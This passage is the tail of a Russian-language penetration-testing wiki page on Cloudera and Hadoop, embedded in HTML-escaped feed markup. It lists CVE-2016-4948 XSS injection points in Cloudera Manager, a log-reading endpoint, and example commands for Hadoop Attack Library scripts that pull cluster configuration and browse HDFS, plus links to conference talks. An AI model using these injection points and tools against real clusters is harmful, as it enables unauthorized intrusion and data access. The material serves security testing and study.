&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/cmf/process/&amp;lt;process_id&amp;gt;/logs?filename={stderr,stdout}.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4948 - Stored XSS  (версия меньше или равна 5.5)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4948 - Reflected XSS (версия меньше или равна 5.5):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/cmf/cloudera-director/redirect?classicWizard=[XSS]&amp;amp;clusterid=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Hadoop Attack Library ==&lt;br /&gt;
&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library&lt;br /&gt;
&lt;br /&gt;
=== hadoopsnooper.py ===&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Скрипт для получения конфига hadoop&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== hdfsbrowser.py ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake&lt;br /&gt;
&lt;br /&gt;
Скрипт для рааботы с WebHDFS. В скрипте также можно указать порт, протокол&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
python hdfsbrowser.py 10.10.10.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Видео ==&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
== Презентации ==&lt;br /&gt;
&lt;br /&gt;
https://2015.zeronights.org/assets/files/03-Kaluzny.pdf&lt;br /&gt;
&lt;br /&gt;
https://2016.zeronights.ru/wp-content/uploads/2016/12/Wavestone-ZeroNights-2016-Hadoop-safari-Hunting-for-vulnerabilities-v1.0.pdf&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	</feed>